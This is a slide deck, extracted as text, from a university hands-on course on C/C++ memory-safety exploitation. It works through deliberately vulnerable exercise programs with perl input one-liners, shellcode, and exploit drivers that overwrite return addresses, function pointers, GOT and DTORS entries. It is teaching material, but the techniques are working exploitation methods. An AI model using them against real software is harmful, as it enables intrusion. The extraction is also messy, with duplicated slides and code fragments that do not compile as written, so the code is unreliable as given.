Hands on C and C++: vulnerabilities and exploits

Yves Younan
DistriNet, Department of Computer Science
Katholieke Universiteit Leuven
Belgium
Yves.Younan@cs.kuleuven.ac.be
Practical stuff

- Exercise programs from gera’s insecure programming page: http://community.core-sdi.com/~gera/InsecureProgramming/
- DL from http://fort-knox.org/~yyounan/secappdev/
  - Get vmware-player and secappdev.zip or .tar.gz
- Login with: secappdev/secappdev (root also secappdev)
- cd HandsOn
- Compile with gcc -g <prog.c> -o <progname>
- We’ll start with stack1 - stack5
- Then we’ll move on to abo1 - abo7
Process memory layout

- Arguments/Environment
  - Stack
  - Unused and Shared Memory
- Heap
- Static & Global Data
- Program code
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x41424344)
        printf("you win!\n");
}
```

What input is needed for this program to exploit it?
main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

- Return address
- Frame pointer
- cookie
- buf
C and C++: vulnerabilities, exploits and countermeasures

February 22nd, 2010

Yves Younan

perl -e 'print "A"x80; print "DCBA"' | ./stack1
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x01020305)
        printf("you win!\n");
}
```

What input is needed for this program to exploit it?
**stack2.c**

```
main:
  cookie
  buf[80]
  printf()
  gets()
  ...
```

**Stack**

- Return address
- Frame pointer
- cookie
- buf
The diagram illustrates a stack frame for a C program. The `main` function is shown with variables `cookie`, `buf[80]`, `printf()`, and `gets()`. The stack frame includes the return address, frame pointer, and buffer (buf).

The code snippet shown is:

```bash
perl -e 'print "A"x80; printf("%c%c%c%c", 5, 3, 2, 1)' | ./stack2
```
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x01020005)
        printf("you win!\n");
}
```

What input is needed for this program to exploit it?
stack3.c

main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

- Return address
- Frame pointer
- cookie
- buf
perl -e 'print "A"x80; printf("%c%c%c%c%c", 5, 0, 2, 1)' | ./stack3
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x000a0d00)
        printf("you win!\n");
}
```

Do you see any problems with stack4?

How would you solve them?
main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

Return address
Frame pointer
cookie
buf
Can’t generate the correct value: \n will terminate the gets
Must overwrite the return address and jump to the instruction after the if
Intro to GDB

- Compile the application with -g for debugging info
- `gdb <program name>`
  - `break main ->` tells the debugger to stop when it reaches main
  - `run ->` run the program
  - `x buffer ->` print out the contents and address of buffer
  - `disas func ->` show assembly representation of func
  - `x buffer+value ->` print out buffer+value, useful for finding the return address
```c
#define RET 0x08048469
int main() {
    char buffer[92];
    memset(buffer, '\x90', 92);
    *(long *)&buffer[88] = RET;
    printf(buffer);
}
```
```c
#include <stdio.h>

int main() {
    char buf[80];
    gets(buf);
    if (cookie) {
        printf("win");
        return 0;
    }
    printf("fail");
    return 0;
}
```
```c
main:  
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("win")
  return
```

Stack:
- Return address
- Frame pointer
- cookie
- buf
main:
    cookie
    buf[80]
    printf()
    gets()
    if (cookie)
    printf("win")
    return
stack4.c

main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf(“win”)
  return
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x000a0d00)
        printf("you lose!\n");
}

Problem?
stack5.c

- No you win present, can’t return to existing code
- Must insert our own code to perform attack
Shellcode

- Small program in machine code representation
- Injected into the address space of the process

```c
int main() {
    printf("You win\n");
    exit(0)
}

static char shellcode[] =
"\x6a\x09\x83\x04\x24\x01\x68\x77"
"\x69\x6e\x21\x68\x79\x6f\x75\x20"
"\x31\xdb\xb3\x01\x89\xe1\x31\xdc"
"\xb2\x09\x31\xc0\xb0\x04\xcd\x80"
"\x32\xdb\xb0\x01\xcd\x80";
```
```c
static char shellcode[] = // shellcode from prev slide
#define RET 0xbfffffd28
int main() {
    char buffer[93]; int ret;
    memset(buffer, '\x90', 92);
    memcpy(buffer, shellcode, strlen(shellcode));
    *(long *)&buffer[88] = RET;
    buffer[92] = 0;
    printf(buffer); }
```
stack5.c

main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("lose")
  return

Stack

- Return address
- Frame pointer
- cookie
- Injected code
The function `main` in `stack5.c` takes a buffer `buf[80]`, reads input with `gets()`, checks a condition `cookie`, and prints a message `printf("lose")` if the condition is met. If not, it returns.

- **Stack Diagram**
  - **Return address**
  - **Frame pointer**
  - **Cookie**
  - **Injected code**
main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
  printf("lose")
  return

Stack

- Return address
- Frame pointer
- cookie
- Injected code

IP

SP

FP
main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("lose")
  return
Finding inserted code

- Generally (on kernels < 2.6) the stack will start at a static address
- Finding shell code means running the program with a fixed set of arguments/fixed environment
- This will result in the same address
- Not very precise, small change can result in different location of code
- Not mandatory to put shellcode in buffer used to overflow
- Pass as environment variable
Controlling the environment

Passing shellcode as environment variable:

Stack start - 4 null bytes
- strlen(program name)
- null byte (program name)
- strlen(shellcode)

0xBBBBBBBBBB - 4
- strlen(program name)
- 1
- strlen(shellcode)
static char shellcode[] = // shellcode from prev slide
int main (int argc, char **argv) {
    char buffer[265];    int ret;
    char *env[2] = {shellcode, NULL};
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    printf("return address is %#10x", ret);
    memset(buffer, '\x90', 264);
    *(long *)&buffer[260] = ret;
    buffer[264] = 0;
    execve(execargv[0],execargv,env);}

http://fort-knox.org/~yyounan/secappdev
```c
int main(int argv, char **argc) {
    char buf[256];
    strcpy(buf, argc[1]);
    exit(1);
}

Problem?
```
abo2.c

- Not exploitable on x86
- Nothing interesting we can overwrite before exit() is called
```c
int main(int argv, char **argc) {
    extern system, puts;
    void (*fn)(char*) = (void(*)(char*))&system;
    char buf[256];
    fn = (void(*)(char*))&puts;
    strcpy(buf, argc[1]);
    fn(argc[2]);
    exit(1);
}
```

Problem?
abo3.c

- Can’t overwrite the return address, because of exit()
- However this time we can overwrite the function pointer
- Make the function pointer point to our injected code
- When the function is executed our code is executed
```c
static char shellcode[] = // shellcode from prev slide
int main (int argc, char **argv) {
    char buffer[261]; int ret;
    char *env[2] = { shellcode, NULL };
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    printf ("return address is %#10x", ret);
    memset(buffer, '\x90', 260);
    *(long *)&buffer[256] = ret;
    buffer[260] = 0;
    execve(execargv[0],execargv,env);}
```
```c
extern system, puts;
void (*fn)(char*) = (void(*)(char*)) & system;
int main(int argv, char **argc) {
    char * pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    fn = (void(*)(char*)) & puts;
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    fn(argc[3]);
    while(1); }
```

- Problem?
abo4.c

- Use `objdump -t abo4 | grep fn` to find address of `fn`
- The function pointer is not on the stack: can’t overflow it directly
Indirect Pointer Overwriting

f0:
...  
call f1  
...

f1:
ptr = &data;
buffer[]
overflow();
*ptr = value;
...

data

Stack

Other stack frames
Return address f0
Saved frame pointer f0
Local variables f0
Indirect Pointer Overwriting

```c
f0:
... call f1
...

f1:
ptr = &data;
buffer[]
overflow();
*ptr = value;
...
```

**Stack**
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
  - Arguments f1
    - Return address f1
    - Saved frame pointer f1
    - Pointer
      - Buffer

**Variables**
- data
- SP
- FP
- IP
Indirect Pointer Overwriting

```
f0:
  ...
call f1
  ...
```

```
f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...
```

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Overwritten pointer
- Injected code
Indirect Pointer Overwriting

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Modified return address
- Saved frame pointer f1
- Overwritten pointer
- Injected code

f0:
- ... call f1 ...

f1:
- ptr = &data;
- buffer[]
- overflow();
- *ptr = value;
- ...

data
Indirect Pointer Overwriting

```c
f1:
    ptr = &data;
    buffer[]
    overflow();
    *ptr = value;
    ...
```

```
f0:
    ...
    call f1
    ...
```

- Stack
  - Other stack frames
  - Return address f0
  - Saved frame pointer f0
  - Local variables f0
  - Injected code

**Data**
Use `objdump -t abo4 | grep fn` to find address of `fn`

The function pointer is not on the stack: can’t overflow it directly
abo4.c

- Use `objdump -t abo4 | grep fn` to find address of fn
- The function pointer is not on the stack: can’t overflow it directly
- However there is a data pointer on the stack: pbuf
- Overflow buf to modify the address that pbuf is pointing to, make it point to fn
- Use the second `strcpy` to copy information to fn
- The second `strcpy` is not overflowed
```c
// shellcode from prev slide
#define FN 0x080496a0

int main (int argc, char **argv) {
    char buffer[261]; char retaddr[4]; int ret;
    char *env[2] = {shellcode, NULL};
    ret = 0xBFFFFFFF - 4 - strlen(execargv[0]) - 1 - strlen(shellcode);
    memset(buffer, '\x90', 260);
    *(long *)&buffer[256] = FN;
    buffer[260] = 0; *(long *)&retaddr = ret;
    execve(execargv[0], execargv, env);
```
Two ways of solving this one, we’ll do both

int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    for (; *pbuf++ = *(argc[2]++););
    exit(1);
}

Problem?
Suggestions?
Two ways of solving this one, we’ll do both

1. Overwrite the GOT entry for exit so it will execute our code when exit is called

2. Overwrite a DTORS entry, so when the program exits our code will be called as a destructor function
abo5.c

static char shellcode[] = // shellcode from prev slide
#define EXIT 0x0804974c
int main (int argc, char **argv) {
    char buffer[261]; char retaddr[4]; int ret;
    char *env[2] = { shellcode, NULL };
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    memset(buffer, '\x90', 260);
    *(long *)&buffer[256] = EXIT;
    buffer[260] = 0; *(long *)&retaddr = ret;
    execve(execargv[0],execargv,env); }
abo5.c 2nd solution

```c
static char shellcode[] = // shellcode from prev slide
#define DTORS 0x08049728
int main (int argc, char **argv) {
    char buffer[261]; char retaddr[5]; int ret;
    char *env[2] = { shellcode, NULL }; 
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); 
    memset(buffer, '\x90', 260); *(long *)&buffer[256] = DTORS; 
    buffer[260] = 0; *(long *)&retaddr = ret;
    retaddr[4] = 0; 
    execve(execargv[0],execargv,env); }
```
int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    while(1);
}

Problem?
int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    while (1);}

Nothing in the datasegment or stack can be overwritten because the program goes into an endless loop
abo6.c

- Nothing in the datasegment or stack can be overwritten because the program goes into an endless loop
- Make the first strcpy point pbuf to the second strcpy’s return address
- The second strcpy will then overwrite its own return address by copying our input into pbuf
- Very fragile exploit: the exact location of strcpy’s return address must be determined
static char shellcode[] = // shellcode from prev slide
#define BUF 0xbffffb6c
int main (int argc, char **argv) {
    char buffer[261]; char retaddr[4]; int ret;
    char *env[2] = { shellcode, NULL };
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    memset(buffer, '\x90', 260);
    *(long *)&buffer[256] = BUF;
    buffer[260] = 0; *(long *)&retaddr = ret;
    execve(execargv[0],execargv,env);}
char buf[256]={1};

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
}

➤ Suggestions?
char buf[256] = {1};

int main(int argv, char **argc) {
    strcpy(buf, argc[1]);
}

- Overflow into dtors section
- Find location of data section: objdump -t abo7 | grep buf
- Find location of dtors section: objdump -x abo7 | grep -i dtors
Overflows in the data/bss segments

- **ctors**: pointers to functions to execute at program start
- **dtors**: pointers to functions to execute at program finish
- **GOT**: global offset table: used for dynamic linking: pointers to absolute addresses
static char shellcode[] = // shellcode from prev slide
int main (int argc, char **argv) {
    char buffer[476];
    char *env[2] = { shellcode, NULL };  
    int ret;
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    memset(buffer, '\x90', 476);
    *(long *)&buffer[472] = ret;
    execve(execargv[0],execargv,env);
}
```c
char buf[256];

int main(int argv, char **argc) {
    strcpy(buf, argc[1]);
}

➢ Suggestions?
```
```c
char buf[256];

int main(int argv, char **argc) {
    strcpy(buf, argc[1]);
}

- buf not initialized, so in bss segment
- only heap is stored behind bss segment, could perform heap-based buffer overflows, but no malloc chunks
- Not exploitable
```
Overflows in the data/bss segments

- ctors: pointers to functions to execute at program start
- dtors: pointers to functions to execute at program finish
- GOT: global offset table: used for dynamic linking: pointers to absolute addresses